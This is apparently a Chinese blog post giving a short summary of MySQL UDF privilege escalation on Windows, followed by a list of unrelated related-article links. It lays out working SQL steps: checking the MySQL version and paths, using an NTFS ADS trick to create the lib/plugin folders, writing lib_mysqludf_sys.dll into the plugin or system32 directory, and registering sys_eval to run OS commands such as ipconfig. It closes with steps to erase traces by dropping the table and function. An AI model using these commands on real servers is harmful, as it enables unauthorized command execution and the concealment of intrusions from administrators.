• udf提权小结


    00x1

    首先判断mysql版本,

    mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/

    mysql版本 > 5.2 ,UDF导出到安装路径MySQLLibPlugin

    一般LibPlugin文件夹需要手工建立(可用流模式突破进而创建文件夹)

    可能会用到的命令:

    select @@datadir 路径

    select @@version 版本

    使用NTFS ADS流创建lib、plugin文件夹:

    某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到libplugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
    select @@basedir;   //查找mysql的目录
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';    //使用NTFS ADS流创建lib目录
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS再次创建plugin目录
    执行成功以后再进行导出即可。 

    00x2

    直接执行

    create function sys_eval returns string soname 'udf.dll'

    若成功则可直接执行命令。

    00x3

    mysql版本小于5.1此方法一般不成功,则需要导入dll到系统目录,一般导入到c:windowssystem32,如果不可写入则试试c:windows(一般5.0一下放这)。

    00x4

    具体语句如下:

    create table a (cmd LONGBLOB);
    
    insert into a (cmd) values (hex(load_file('D:\Program Files\MySQL\MySQL Server 5.0\Lib\Plugin\lib_mysqludf_sys.dll'))); 
    
    SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\windows\system32\udf.dll';
    
    create function sys_eval returns string soname 'udf.dll'
    
    select sys_eval('ipconfig');

    00x5

    擦除痕迹:

    drop table a;
    drop function sys_eval;

    Ps:一定要是root

  • 相关阅读:
    traceroute工作原理
    Android 关于资源适配
    JavaScript对象
    八大排序算法总结
    Linux pipe函数
    cocos2d-x读取xml(适用于cocos2d-x 2.0以上版本号)
    WebService 设计总结
    select poll使用
    QQ强制视频聊天
    图解iPhone开发新手教程
  • 原文地址:https://www.cnblogs.com/xishaonian/p/6016486.html
Copyright © 2020-2023  润新知